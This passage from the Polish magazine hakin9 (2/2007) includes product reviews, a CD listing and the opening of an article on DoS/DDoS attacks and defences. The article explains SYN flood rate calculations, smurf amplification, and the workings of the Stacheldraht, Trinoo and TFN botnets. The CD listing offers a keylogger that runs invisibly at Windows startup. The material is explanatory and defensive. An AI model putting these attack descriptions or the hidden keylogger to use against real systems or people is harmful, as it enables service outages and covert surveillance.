show cdp neighbors detail. Polecenia protokołu CDP:

• cdp run – w trybie globalnej konfiguracji włącza proto-

kół CDP w routerze

• cdp enable – w trybie konfiguracji interfejsu włacza

protokół CDP na interfejsie

• clear cdp counteres – w trybie EXEC resetuje liczniki

ruchu do 0

• show cdp – w trybie EXEC wyświetla przerwę pomię-

dzy transmisjami ogłoszeń CDP, ilość czasu, w jakim
ogłoszenia

• CDP jest ważne na danym porcie, oraz wersję ogło-

szenia

• show cdp entry – w trybie exec wyświetla informację

o konkretnym sąsiedzie

• show cdp interface – w trybie exec wyświetla informa-

cje o interfejsach, na których CDP jest włączony

• show cdp neighbors – w trybie exec wyświetla rodzaj

urządzenia, które zostało ogłoszone, numer i rodzaj
lokalnego interfejsu, ilość sekund, przez które ogłosze-
nie jest ważne dla danego portu, rodzaj urządzenia, oraz
ID portu.

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

dzisiejszym świecie coraz więcej zależy od obie-
gu informacji w sieci. Jakiekolwiek niepożąda-
ne oprogramowanie typu spyware, wirusy, roba-

ki internetowe itd. może spowodować dotkliwe straty finan-
sowe i straty w postaci utraty danych ważnych dla korpora-
cji. Oczywiście można założyć Mnie ten problem nie doty-

czy, nie będę wydawał pieniędzy niepotrzebnie. Nic bardziej
błędnego – rozprzestrzenianie się niepożądanego oprogra-
mowania w internecie jest na porządku dziennym. I prędzej
czy później dotknie każdego. Przykładem tu może być od-
bieranie codziennie spamu ze skrzynki pocztowej. I tutaj na-
przeciw wychodzi Czeska firma AEC która oferuje swój naj-
nowszy produkt TrustPort Internet Gateway i TrustPort Se-
rvers – który miałem przyjemność testować. Jest to kom-
pletny pakiet do ochrony komputera przed wszelkim niepo-
żądanym oprogramowaniem internetowym, spamem i wiru-
sami.

Całość pakietu składa się z dwóch części: TrustPort

Internet Gateway – odpowiedzialnej za ochronę poczty i
internetu oraz TrustPort Server – dodatkowe narzędzia,
w skład których wchodzi antywirus i firewall. Po instalacji
pakietu musimy poświęcić chwilę na odpowiednie skon-
figurowanie oprogramowania. Pierwszą rzeczą, na któ-
rą zwróciłem uwagę, był skaner TrustPort Antivirus, który
poza podstawowymi możliwościami skanowania dysków
twardych i napędów, posiada również możliwość skano-
wania rejestru.

Wielkim plusem jest możliwość obszernej konfigura-

cji skanera i jego wszelkich opcji. Przeskanowałem swój
dysk i byłem bardzo pozytywnie zaskoczony kiedy zo-
baczyłem rezultaty – zostały usunięte wszelkie szkodli-
we pliki, których inne skanery nawet nie pokazywały ja-
ko zagrożenie. Następnie przyszedł czas na TrustPort In-
ternet Gateway. I tutaj również zostałem miło zaskoczo-

TP Internet Gateway 4.5

ny obszernymi możliwościami tego narzędzia. Pierwsza
rzecz jaka rzuca się w oczy to bardzo czytelny interface
w którym widać trzy zakładki: E-mail, Web, Common. Za-
kładka  e-mail  odpowiada  za  ochronę  poczty.  Pierwszą
rzeczą jaką trzeba zrobić jest skonfigurowanie ustawień
poczty.  Następnie  można  przejść  do  dostępnych  opcji:
konfigurację  antywirusa  dla  poczty,  konfigurację  usta-
wień anty-spamowych takich jak czarna, szara i biała li-
sta  adresów  e-mail,  filtr  Bayesa,  który  analizuje  zawar-
tość  wiadomości  i  stwierdza  czy  dana  wiadomość  jest
spamem czy nie. Inne to: Regular phrases filter – wyszu-
kuje teksty typowe dla spamu, Public RBL and DSBL lists
– jest to publiczna czarna lista z informacjami o spame-
rach. Oczywiście są też inne opcje, ale nie sposób je tu
wszystkie opisać. Zakładka web odpowiada za ochronę
sieci i internetu. Tutaj również najpierw trzeba skonfigu-
rować ustawienia i następnie przejść do dostępnych opcji
takich jak: dodawanie zaufanych adresów URL oraz blo-
kowanie niepożądanych adresów. Mamy również możli-
wość ustawienia antywirusa dla internetu oraz inne na-
rzędzia do kontroli. Ostatnia zakładka to Common, w któ-
rej mamy możliwość ustawienia antywiusa i wszystkich
innych  usług.  Następnym  dostępnym  narzędziem  jest
TrustPort Servers, który może pomóc w rozwiązaniu pro-
blemu wirusów znajdujących się w różnych dokumentach
i plikach i rozsyłanych za pomocą sieci. W skład Trust-
Port Server wchodzą: TrustPort Server Antivirus i Trust-
Port Firewall. Pakiet firmy AEC udostępnia nam bardzo
szeroką możliwość konfigurowania skutecznego sposo-
bu  ochrony  naszego  komputera  i  sieci  przed  wszelkim
szkodliwym  oprogramowaniem.  W  mojej  ocenie  pakiet
sprawdził się bardzo dobrze.

Jacek Łapiński

Rysunek 1.

Okno konfiguracyjne narzędzia TrustPort

Internet Gateway

Rysunek 2.

Skaner antywirusowy podczas pracy

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja Auroxa, zawierająca przydatne narzędzia,

dokumentację, tutoriale i materiały dodatkowe do artyku-
łów. Aby zacząć pracę z hakin9.live, wystarczy urucho-
mić komputer z CD1. Po uruchomieniu systemu może-
my zalogować się jako użytkownik hakin9 bez podawa-
nia hasła.

Materiały dodatkowe zostały umieszczone w nastę-

pujących katalogach:

•   tut – 26 tutoriali
•   Aurox-Live;
•   HIT  –  10-Strike  Software  -  LANState  1.2:  to  prosta

w użyciu aplikacja katalogująca umożliwiająca nie-
zwykle efektowne zarządzanie listami plików umiesz-
czonych na nośnikach wymiennych. Program umożli-
wia tworzenie całkowicie spersonalizowanych list pli-
ków umożliwiając tym samym efektywne przeszuki-
wanie zborów wg dowolnie zadanych przez użytkow-
nika kryteriów.

• Eltima - Powered Keylogger ( wersja pełna na pół ro-

ku) pozwala na monitorowanie wszystkiego co jest
wpisywane z klawiatury twojego komputera. Program
uruchamia się w niewidzialnym trybie razem z uru-
chomieniem Windows.

• Uniblue – System Tweaker System ekstremalne-

go przetaktowywania. System Tweaker jest funkcją,
która  pozwala  na  perfekcyjnie  dokładne  dostrojenie
wszystkich  parametrów  pracy  Twojego  systemu  dla
uzyskania  maksymalnych  osiągów.  Nie  ważnie,  czy
chcesz zmienić częstotliwość, napięcie czy opóźnie-
nia pamięci – wszystkie te opcje są dostępne w jed-
nym miejscu.

•   Vip Defense – Vip Privacy
•   Sandstorm - NetIntercept 3.2 Software Demo
•   doc – indeks;
•   pdf – materiały archiwalne oraz e-books.

Materiały archiwalne zostały umieszczone w podkata-
logach  _arch.  W  przypadku  przeglądania  płyty  z  po-
ziomu  uruchomionego  hakin9.live  powyższa  struk-
tura  jest  dostępna  z  podkatalogu  /mnt/cdrom.  Wer-
sję  hakin9.live  3.1-aur  zbudowaliśmy,  opierając  się  o
dystrybucję  Aurox  i  skrypty  automatycznej  generacji
(www.aurox.org/pl/live).  Narzędzia  dystrybucji,  które
nie znajdują się na dołączonej do pisma płycie, insta-
lowane są z repozytorium Auroxa za pomocą progra-

Zawartość CD 1

mu yum. W porównaniu z hakin9.live 2.9.1-ng zasad-
niczą zmianą jest oparcie systemu na dystrybucji Au-
rox Live 11.1. oraz przejście z Fluxboksa na środowi-
sko graficzne KDE.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (stron manualna), z których skorzystać
możemy poprzez konsolę wydając polecenie man [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane przez redakcję.

Na CD1 opracowane zostały praktyczne ćwicze-

nia do jendego artykułu – Sieci nie lokalne, który moż-
na  przeczytać  w  piśmie.  Zakładamy,  że  podczas  wy-
konywania  ćwiczeń  związanych  z  artykułami  i  tuto-
rialami,  użytkownik  korzysta  z  hakin9.live.  Dzięki  te-
mu uniknie problemów związanych z różnymi wersjami
kompilatorów, inną lokalizacją plików konfiguracyjnych
czy  opcjami  niezbędnymi  do  uruchomienia  programu
w danym środowisku. hakin9.live został przygotowany
pod kątem tych ćwiczeń i zawiera wszystkie wymaga-
ne aplikacje.

CD2

TrustPort Internet Gateway 4,5

Eliminuje problem wirusów, spamu jak i spyware w ko-
munikacji  e-mailowej.TP  Internet  Gateway  może  zo-
stać  nainstalowana  na  serwerach  Windows  lub  ser-
werach  pocztowych  w  zależności  od  typologii  danej
sieci.  Co  wiecej,  elementy  TrustPort  Internet  Gate-
way  mogą  zostać  rozdzielone  pomiędzy  poszczegól-
ne serwery. Istnieje również możliwość zakupienia tyl-
ko niektórych jej funkcji np. modul antispam i antispy-
ware lub modul antiwirus. Istnieje możliwość znaczne-
go obniżenia ceny w przypadku zakupu licencji wielo-
stanowiskowej.

Kurs na certyfikat Cisco CCNA cz. I

Certyfikat CCNA przeznaczony jest dla specjalistów od
niewielkich sieci (do 100 stanowisk) i potwierdza umiejęt-
ności w zakresie instalacji i konfiguracji routerów i prze-
łączników Cisco w sieciach LAN i WAN (poprawa wydaj-
ności i bezpieczeństwa sieci oraz usuwanie problemów).
Kandydat może wybrać dowolny sposób przygotowania
się do egzaminu, w szczególności edukację zdalną. Cer-
tyfikatem CCNA kończy się również czterosemestralny
kurs realizowany w ramach programu Cisco Networking
Academy, z którego korzysta obecnie 800 studentów z 19
szkół i uczelni. l

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

Narzędzia

hakin9 Nr 2/2007

www.hakin9.org

Elegancki, mały i zgrabny – takie pierwsze wrażenie spra-
wia nowy model firewalla DFL-1600 Firmy D-LINK z serii
NetDefend.  Jest  to  produkt,  który  nadaje  sie  do  zasto-
sowań w małej i średniej firmie, jednakże swoje zadania
spełni  również  w  placówkach  edukacyjnych  i  kawiaren-
kach internetowych. Urządzenie sprawdza sie świetnie w
warunkach natężonego ruchu. Model ten umożliwia filtro-
wanie treści, blokowanie określonych aplikacji i uwierzy-
telnienie  użytkownika.  Zabezpiecza  także  przed  ataka-
mi typu DoS. Jednym z ciekawych rozwiązań zastosowa-
nym w tym sprzęcie jest funkcja Zone Defense. W wypad-
ku  wykrycia  nieprawidłowych  zachowań  jakiegoś  hosta
potrafi całkowicie odciąć mu dostęp do sieci. Oprócz fire-
walla urządzenie to ma wbudowaną obsługę sieci VPN.
Dostępna jest większość algorytmów szyfrujących dla tej
usługi (DES, 3DES, AES, Twofish, Blowfish, CAST-128).
Dzięki DFL-1600 można kontrolować ruch sieciowy ogra-
niczając pasmo poszczególnym hostom, bądź sieci. Ist-
nieje możliwość ustalenia pasma gwarantowanego, mak-
symalnego oraz ustalenie priorytetów dla danych usług
sieciowych. Urządzenie to nadaje sie także do uwierzy-
telniania  użytkowników,  dzięki  czemu  dostęp  do  sieci
posiadają tylko uprawnione osoby. Konfiguracji urządze-
nia możemy dokonać na kilka sposobów np. poprzez gra-
ficzny interfejs użytkownika dostępny z poziomu przeglą-
darki www. Wbudowany kreator sprawia że konfiguracja
jest  łatwa  i  przyjemna.  Rozbudowane  menu  interfejsu,
oraz liczne możliwości konfiguracji zapory sprawiają że
można czasem się pogubić, co może sprawić problemy
początkującym  administratorom  sieci.  Dogłębne  prze-
studiowanie  podręcznika  na  pewno  ułatwi  jednak  wła-
ściwe użytkowanie sprzętu. Monitorowanie i administra-
cja nie kończą sie jednak na GUI, do dyspozycji mamy

także standardową konsolę, dostęp za pomocą proto-
kołu SMNP oraz SSH. Dzięki temu możemy w wygodny
sposób zarządzać i monitorować pracą urządzenia. Na
przednim panelu zapory, znajduje się wyświetlacz LCD,
na którym widzimy podstawowe parametry

oraz statystyki połączeń i systemu. Dzięki temu

możemy  obserwować  pewne  parametry  bez  potrze-
by nawiązywania połączenia z firewallem. Na przednim
panelu  mamy  dostępnych  aż  6  dowolnie  konfigurowa-
nych  portów  sieciowych  (RJ45).  Możemy  sami  wybrać
i  przydzielić  który  z  portów  będzie  pełnił  funkcje  WAN,
LAN  lub  DMZ.  Wielopoziomowy  system  uwierzytelnia-
nia, pozwala na tworzenie wielu kont, które mogą posia-
dać specjalnie zdefiniowane uprawnienia do zarządzania
konfiguracją  urządzenia.  Dzięki  temu  posiadamy  pełną
kontrolę  nad  dostępem  użytkowników  do  urządzenia.
Administracja tym sprzętem nie sprawia większych trud-
ności, natomiast dla użytkownika praca firewalla jest nie-
zauważalna. W zestawie dostarczonym przez producen-
ta znajdziemy dwa kable sieciowe (prosty i skrosowany),
kabel do podłączenia konsoli, kabel zasilający oraz doku-
mentację na płycie CD. Instrukcja, jak i interfejs konfigu-
racyjny  nie  jest  dostępny  w  naszym  ojczystym  języku.
Produkt  zaraz  po  podłączeniu  i  skonfigurowaniu  jest
gotowy do użycia.

Wojciech Trynkowski

Producent: D-Link
Model: DFL-1600
Typ: Firewall
Przeznaczenie: małe i średnie firmy
Strona producenta: www.dlink.pl
Cena: 9500 PLN

D-Link DFL-1600

www.hakin9.org

hakin9 Nr 2/2007

Atak

tym  artykule  zostanie  omówiony
szereg  popularnych  ataków:  star-
sze,  związane  z  wykorzystaniem

błędów w implementacjach stosu TCP/IP - ta-
kie jak Land, Ping of death, Winnuke czy Tear-
drop. Następnie - klasyczny atak wyczerpujący
zasoby serwera - Syn flood. W dalszej kolejno-
ści ataki smurf, fraggle czy UDP echo-chargen
wykorzystujące luki w konfiguracjach routerów.
W ostatniej części rozdziału zostaną omówione
nowsze wersje ataków DDoS - w tym ataki Sta-
cheldraht, Trinoo czy ataki na serwery DNS.

Klasyfikacja ataków DoS

Ataki  DoS  mają  na  celu  uniemożliwienie  do-
stępu do usług informatycznych uprawnionym
użytkownikom.  Ze  względu  na  sposób  dzia-
łania  można  wyróżnić  techniki  mające  na  ce-
lu  wyczerpanie  zasobów  serwera  (tak,  aby
nie  mógł  oferować  żadnych  usług)  oraz  tech-
niki  zaburzające  komunikację  pomiędzy  po-
tencjalnym klientem a serwerem (np: poprzez
zapchanie łącza internetowego od strony ser-
wera). Jednocześnie pojawiły się rozproszone
ataki DoS (DDoS) wykorzystujące armię kom-
puterów  zombie  do  przeprowadzania  właści-
wego ataku DoS.

Land attack

Należy do grupy ataków mających na celu wy-
korzystanie  niepoprawnej  implementacji  sto-
su TCP/IP. Należy już raczej do ataków histo-
rycznych. Atakujący wysyła pakiet TCP SYN z
podmienionym adresem źródłowym wskazują-
cym na ofiarę oraz z takim samem portem źró-
dłowym i docelowym - wskazującym na usługę
atakowanego serwera. Jak się okazało, na taki
zabieg podatnych było wiele systemów. Przy-
kładowo cisco: IOS blokowało ruch na 30 se-
kund. Maszyny windows 95 wieszały się. Atak
można  łatwo  przeprowadzić  przy  użyciu  pu-
blicznie  dostępnego  programu  land.c.  Każdy
nowoczesny OS powinien być uodporniony na

DDoS - Nowoczesne

metody ataku i obrony

Michał Garcarz, Janusz Sosnowski

stopień trudności

Dokument ma na celu zapoznanie czytelnika z nowoczesnymi

atakami odmowy usługi (DoS - Denial of service), jak również z

ich rozproszoną odmianą (DDoS - Distributed denial of service).

Celem powyższych ataków jest uniemożliwienie dostępu do usług

informatycznych uprawnionym użytkownikom.

Z artykułu dowiesz się...

•   jak klasyfikować ataki D(DoS),
•   jak przeprowadzić atak na serwer DNS,
•   jak bronić się przed atakami typu D(DoS).

Powinieneś wiedzieć...

• podstawowe informacje na temat ataków

D(DoS).

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

ten typ ataku. Poza tym takie pakie-
ty powinny być wycinane na pozio-
mie firewalla.

Ping of death

Znany  też  jako  Long  ICMP  attack  -
polega na wysyłaniu bardzo dużych,
podzielonych  na  wiele  fragmentów
pakietów  ICMP.  Po  ich  sklejeniu  po
stronie serwera okazuje się, że jego
wielkość  przekracza  dopuszczalny
rozmiar  pakietu  IP  czyli  65535  baj-
tów.  Wiele  systemów  nie  potrafiło
sobie z tym poradzić - w tym wcze-
sne wersje windows i Linux. Atak ła-
two  przeprowadzić  przy  użyciu  do-
stępnych  narzędzi  (a  nawet  skryp-
tów z wykorzystaniem hping). W ce-
lu obrony należy zaktualizować sys-
tem albo blokować komunikaty ICMP
na firewallu.

Winnuke

Głośny  swojego  czasu  atak  wyko-
rzystujący w windows lukę polegają-
cą na niepoprawnym obsłużeniu da-
nych  OOB  (Out  of  Band)  skierowa-
nych  do  portów  137-139  (NetBios).
Windows  nie  potrafił  obsłużyć  da-
nych  OOB,  co  skutkowało  dziwnym
zachowaniem  -  od  utraty  połącze-
nia  internetowego  po  zawieszenie
się maszyny. Atak było bardzo łatwo
przeprowadzić  za  pomocą  graficz-
nych narzędzi spod windows. W celu
jego uniknięcia można wyłączyć ob-
sługę NetBios albo zablokować na fi-
rewallu porty 137-139.

Teardrop

Podobnie jak Land attack wykorzy-
stuje  luki  w  implementacji  TCP/IP.
Problem  występował  w  starszych
wersjach Linuxa i Windows. Syste-
my te niepoprawnie sklejały sfrag-
mentowane  pakiety.  W  przypadku
kiedy atakujący podał ujemną war-
tość długości fragmentu, nie podle-
gało  to  sprawdzeniu,  przez  co  re-
zerwował  on  olbrzymią  ilość  da-
nych  na  bufor  docelowy.  Oczywi-
ście  tę  lukę  już  dawno  usunięto.
Jednak  w  ostatnim  czasie  pojawia
się  ich  bardzo  wiele,  zwłaszcza  w
kernelu  Linuxa,  które  umożliwiają
przeprowadzanie  ataków  DoS  za-
równo lokalnych jak i zdalnych. Na
szczęście luki te wykrywa się - za-
zwyczaj  w  bardziej  zaawansowa-
nych  mechanizmach,  które  bywa-
ją niewykorzystane w typowych in-
stalacjach. Jednak w związku z tym
dobrą regułą są częste aktualizacje
systemu.

SYN flood

Celem  ataku  jest  wyczerpanie  za-
sobów  serwera.  Jest  to  jedna  ze
starszych form ataku, jednak wciąż
dość popularna i skuteczna. O jakie
zasoby  może  chodzić?  Większość
związanych  ze  stosem  TCP/IP  jest
alokowana dynamicznie. Należą do
nich  między  innymi  PCB  (Protocol
Control Blocks) - odpowiedzialna za
utrzymywanie informacji o punktach
końcowych  UDP  (adresy  IP  i  porty

dla  każdego  połączenia)  oraz  TCP
(TCP  Control  Blocks)  -  odpowie-
dzialna  za  utrzymywanie  informa-
cji na temat stanu każdego połącze-
nia TCP. Tu (ponad to co w PCB) za-
pisany jest szereg informacji takich
jak  numery  sekwencyjne  i  potwier-
dzenia (oba kierunki), rozmiar okna
segmentu,  wartości  zegarów  i  wie-
le  innych  opcji  -  specyficznych  dla
TCP.  Ze  względu  na  spory  rozmiar
TCB  (w  Linuksie  140  bajtów)  zde-
cydowano  się  na  stworzenie  kolej-
ki  dla  połączeń  ,,półotwartych''1  ,
czyli połączeń TCP, które nie zosta-
ły jeszcze w pełni nawiązane. Kolej-
ka ta jest zasobem alokowanym sta-
tycznie i globalnie dla całego syste-
mu2.  Zawarto  w  niej  tylko  podsta-
wowe  informacje  związane  ze  sta-
nem TCP. Są one przekazywane w
nagłówku  TCP  z  pierwszym  pakie-
tem SYN (na przykład MSS). Dopie-
ro gdy połączenie zostanie uznane
za otwarte (stan ,,ESTABLISHED'')
tworzone są dla niego odpowiednie
rekordy TCB. Domyślny rozmiar ko-
lejki  połączeń  nasłuchujących  dla
Linuxa to 1024 3.

Jak może wyglądać potencjalne

zagrożenie  ?  Do  atakowanego  ser-
wera  wysyłane  są  tysiące  pakietów
TCP z ustawioną flagą SYN. Serwer
po odebraniu takiego pakietu rezer-
wuje rekord w kolejce połączeń na-
słuchujących,  po  czym  odsyła  od-
powiedź  potwierdzającą  z  ustawio-
ną flagą SYN i ACK. Atakujący jed-
nak nie kończy inicjalizacji połącze-
nia TCP (poprzez odpowiedź z flagą
ACK). Efektem tego na serwerze jest
dużo  ,,półotwartych''  połączeń  TCP
(połączeń w stanie SYN_RCVD). Je-
śli cała kolejka połączeń nasłuchują-
cych zostanie zapełniona nie będzie
akceptował  on  już  żadnych  nowych
połączeń  TCP,  przez  co  uprawnieni
użytkownicy nie będą mogli skorzy-
stać usług TCP na tym serwerze. Za-
skakujące może być to, że do takie-
go ,,zatkania'' serwera wcale nie po-
trzeba  bardzo  szybkiego  łącza,  ani
olbrzymiej  ilości  pakietów.  Łatwo  to
policzyć.  Każde  połączenie  z  kolej-
ki  połączeń  nasłuchujących  jest  lo-
sowo usuwane(gdy kolejka jest peł-
na  a  nadszedł  nowy  pakiet  SYN)

Rysunek 1.

Nawiązywanie połączenia TCP

hakin9 Nr 2/2007

www.hakin9.org

Atak

z prawdopodobieństwem 1/N , gdzie
N  to  rozmiar  kolejki.  Jednocześnie
każdy  serwer  ma  szereg  zegarów
TCP.  Jednym  z  nich  jest  RTT  (Ro-
und Trip Time), który jest wyliczany
(szacowany)  przez  serwer  na  pod-
stawie statystyk aktualnych transmi-
sji. Określa on czas jaki serwer bę-
dzie oczekiwał na odpowiedź z flagą
ACK na wysłany przez siebie pakiet
SYN,ACK.  Po  upłynięciu  tego  cza-
su  odpowiedni  rekord  z  kolejki  po-
łączeń  nasłuchujących  będzie  usu-
wany.  Atakujący  musi  więc  wysyłać
taką  ilość  pakietów  SYN,  która  za-
gwarantuje  nadpisanie  każdego  re-
kordu  w  tej  kolejce  zanim  upłynie
RTT. Załóżmy, że RTT oszacowany
przez  serwer  wynosi  200ms  a  roz-
miar N kolejki to 1024. W takim wy-
padku  należy  wysyłać  co  najmniej
N/RTT=5120  pakietów  na  sekundę,
co przy najmniejszym rozmiarze pa-
kietu równym 64B daje 320KB/s co
da się osiągnąć przy łączu 3Mbit lub
szybszym.  W  efekcie  można  zablo-
kować  serwer  Linuxowy  z  łączem
155Mbit.

Dziś większość nowoczesnych

systemów  wspiera  mechanizmy
chroniące w dużym stopniu przed te-
go  typu  atakiem.  FreeBSD  domyśl-
nie  wspiera  Syncookie[8]  z  Synca-
che[9].  Kernel  Linuxa  posiada  nie-
stety  tylko  wsparcie  dla  Syncookie
(niestety  nie  kompilowane  domyśl-
nie).  Mechanizmy  te  zostaną  omó-
wione  szerzej  w  dalszej  części  ar-
tykułu. Innym prostym zabezpiecze-
niem  jest  zwiększenie  kolejki  połą-
czeń nasłuchujących np:

sysctl -w net.ipv4.tcp_max_syn_

backlog=8192

co 8-krotnie (w stosunku do standar-
dowych wartości) zwiększy wyma-
gania na przepustowość łącza dla
potencjalnego atakującego.

Smurf attack

Należy  do  grupy  ataków  mają-
cych  na  celu  zapchanie  łącza  lu-
b(i)  wykorzystanie  zasobów  atako-
wanego  serwera.  Polega  na  efek-
cie  ,,wzmocnienia'',  które  można
uzyskać  wysyłając  pakiety  IP  (w

tym przypadku ICMP echo) na ad-
res  rozgłoszeniowy  sieci.  Pakie-
ty te wysyłane są z podmienionym
adresem  źródłowym  IP.  Wszyst-
kie hosty w docelowej sieci po ode-
braniu  takiego  pakietu  odpowiada-
ją  ICMP  reply  przesyłając  go  pod-
mienionemu adresowi źródłowemu,
który staje się celem ataku. Na je-
den  pakiet  wysłany  przez  atakują-
cego,  może  odpowiedzieć  nawet
kilkaset  hostów,  więc  wzmocnie-

nie  tego  ataku  jest  znaczne.  Przy-
kładowo - wysyłając pakiety z pręd-
kością  512kbit/s  przy  wzmocnieniu
100 serwer docelowy jest obciążo-
ny  strumieniem  danych  o  przepły-
wie 50Mbit/s.

Dziś większość routerów za-

pobiega  rozprzestrzenianiu  się  te-
go  rodzaju  pakietów  rozgłoszenio-
wych. Ponadto wiele routerów filtru-
je komunikaty ICMP. Aby zabezpie-
czyć  się  przed  tymi  atakami  można
zablokować możliwość rozgłaszania
pakietów IP na całą sieć. Dla syste-
mów BSD:

sysctl -w net.inet.ip.directed-
broadcast=0

dla cisco IOS:
no ip directed-broadcast

Fraggle attack

Jest to starsza forma ataku, bardzo
podobna do smurf, jednak zamiast
ICMP echo i reply fraggle polega

na wysyłaniu rozgłoszeniowych pa-
kietów UDP, na które zwracane są
odpowiedzi  ICMP  o  nieosiągalnym
porcie  (ICMP  typ  3,  kod  3).  Zapy-
tania  UDP  oraz  ICMP  Port  Unre-
achable są filtrowane znacznie rza-
dziej  niż  pakiety  ICMP  Echo  requ-
est i Echo Reply. Jednak wyłącze-
nie możliwości broadcastu na adre-
sy IP skutecznie zabezpiecza przed
tym atakiem.

UDP chargen-echo

Rzadko dziś spotykana forma ataku.
Ma  na  celu  sprzężenie  usług  UDP,
z  których  jedna  wypisuje  dane  (np:
chargen)  a  druga  zwraca  je  z  po-
wrotem.  W  tym  celu  atakujący  wy-
syła pakiet UDP z adresem i portem
źródłowym  wskazującym  na  usłu-
gę echo oraz docelowym wskazują-
cym  na  usługę  chargen.  W  wyniku
tego usługa chargen wyśle dane do
usługi echo, która zwróci je do char-
gen i tak w kółko. Aby zabezpieczyć
się przed tą formą ataku należy po-
wyłączać  niewykorzystywane  usłu-
gi UDP i zawsze zwracać uwagę na
tak potencjalnie niebezpieczne usłu-
gi jak echo.

Ataki aplikacyjne

Jest to cała grupa ataków mającą na
celu  wykorzystanie  słabego  punk-
tu konkretnej aplikacji działającej na
serwerze.  Zaliczyć  można  do  nich
ataki  na  serwery  IRC,  www,  smtp

Rysunek 2.

Architektura Stacheldraht i innych systemów DDoS

Intruder

Victim

Master

Attack traffic

Control traffic

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

i  wiele  innych.  Podatne  są  zwłasz-
cza serwery aplikacyjne połączone z
bazami danych, gdzie wysłanie jed-
nego zapytania generuje spory ruch
czy  też  dużą  ilość  obliczeń  na  ser-
werze  (duży  współczynnik  wzmoc-

nienia). Ataki te są specyficzne, za-
leżą od architektury aplikacji i nie bę-
dą one tutaj dokładniej omawiane.

Stacheldraht

Zaliczany jest do ataków DDoS - Di-
stributed Denial of Service. Ataki ta-
kie  wykorzystują  wiele  innych  kom-
puterów, które mogą pełnić rolę zom-
bie. Dla porównania smurf czy frag-
gle  ich  nie  wykorzystują  i  mimo,  że
wykorzystują  wiele  niewinnych  ho-
stów  jako  wzmocnienie  nie  są  kla-
syfikowane jako DDoS. Jeśli jednak
kontrolowana  armia  zombie  zaata-
kuje  docelowe  serwery  za  pomocą
dowolnej techniki DoS to jest już to
uważane za DDoS. Stacheldraht jest
koniem  trojańskim  robiącym  z  za-
rażonych  komputerów  zombie,  któ-
re  są  kontrolowane  przez  kompute-
ry zarządzające (master) a te z ko-
lei  są  kontrolowane  przez  atakują-
cego. W każdej chwili armia hostów
może dostać od atakującego rozkaz

przeprowadzenia zmasowanego ata-
ku na dowolny cel. Narzędzie umoż-
liwia przeprowadzenie z komputerów
zombie większości znanych form
ataku DoS. Rozprzestrzenia się wy-
korzystując różnorodne luki (jak ro-
bak) poprzez email, www, icq i inne
protokoły.

Program klienta (atakujące-

go) łączy się z komputerami zarzą-
dzającymi przez TCP/16660 - inter-
fejs  przypomina  telnet  (uwierzytel-
nianie  poprzez  hasło).  Komunika-
cja  ta  jest  szyfrowana  przy  pomo-
cy  algorytmu  blowfish.  Kompute-
ry  zombie  zgłaszają  się  do  zarzą-
dzających przy pomocy TCP/65000
oraz ICMP. Stacheldraht umożliwia
komputerom  zarządzającym  auto-
matyczną  aktualizacje  oprogramo-
wania  na  zombie  poprzez  wydanie
polecania  .distro,  po  którym  wspo-
mniane komputery poprzez komen-
dę  rcp  ściągają  najnowszą  wersję
trojana  z  podanej  wcześniej  przez
.distro strony. Każdy zombie ma za-
kodowany adres IP komputerów za-
rządzających  (przy  uruchomieniu
łączy się z zarządcą). Ten zaś nie
zna  adresu  IP  atakującego  -  tylko
nasłuchuje i czeka na rozkazy. Jest

to  dla  atakującego  względnie  bez-
pieczna  forma  działania,  gdy  coś
się  dzieje,  wówczas  wystarczy  za-
trzeć ślady na komputerach zarzą-
dzających. Jakie są wady tego sys-
temu ? System jest łatwy do wykry-
cia zarówno na zarządcy jak i zom-
bie. Widać pootwierane porty TCP.
Nie  są  stosowane  żadne  techniki
modyfikacji  kernela  mające  na  ce-
lu  ukrywanie  procesów  czy  plików.
Forma  obrony:  jak  przed  każdym
wirusem czy koniem trojańskim: ak-
tualizować system, firewall ze ściśle
dopasowanymi  regułami,  program
antywirusowy.

Trinoo

Poprzednik  Stacheldrahta.  Znacz-
nie  prostszy,  o  trój  warstwowej  ar-
chitekturze,  ale  umożliwia  jedynie
ataki  UDP.  Oprócz  standardowej
-  tekstowej  wersji,  powstała  rów-
nież  nakładka  pod  windows  -  win-
trinoo - co przyczyniło się do dużej
popularności  tego  narzędzia  wśród
mało  zaawansowanych  użytkowni-
ków  sieci.  Trinoo  nie  wykorzystuje
ICMP  do  komunikacji.  Posiada  te
same wady co Stacheldraht. Forma
przeciwdziałania i obrony: podobnie
jak Stacheldraht.

TFN

Tribe flood network - poprzednik Sta-
cheldrahta.  Znacznie  prostszy,  też
o  trój  warstwowej  architekturze,
umożliwia więcej ataków niż Trinoo,
jednak nie wykorzystuje szyfrowania
i  uwierzytelniania.  Posiada  te  same
wady  co  Stacheldraht.  Forma  prze-
ciwdziałania  i  obrony:  podobnie  jak
Stacheldraht.

Ataki na serwery DNS

W  ostatnim  czasie  bardzo  modne
są ataki DDoS przeprowadzane na
serwery  DNS.  Zazwyczaj  znacz-
nie  łatwiej  unieruchomić  serwer
DNS  odpowiedzialny  za  rozróżnia-
nie  nazwy  domenowej  na  dany  IP
niż dobrze skonfigurowany i zabez-
pieczony  serwer  docelowy.  Więk-
szość użytkowników nie zna na pa-
mięć adresu IP serwera udostępnia-
jącego  usługi,  z  których  korzysta
więc  jest  to  dość  skuteczny  atak.

Rysunek 3.

Stacheldraht - przykładowa sesja

hakin9 Nr 2/2007

www.hakin9.org

Atak

Jednocześnie ma on znacznie więk-
szy  zasięg,  ponieważ  potencjalnie
uniemożliwia dostęp do większej ilo-
ści  serwerów.  Jeśli  celem  jest  bar-
dzo popularny serwer, jego adres IP
i  nazwa  domeny  może  być  kaszo-
wana  przez  inne  serwery  DNS,  co
może  zmniejszyć  skuteczność  ata-
ku. Często serwery DNS sieci lokal-
nych pełnią funkcje kaszujące dzięki
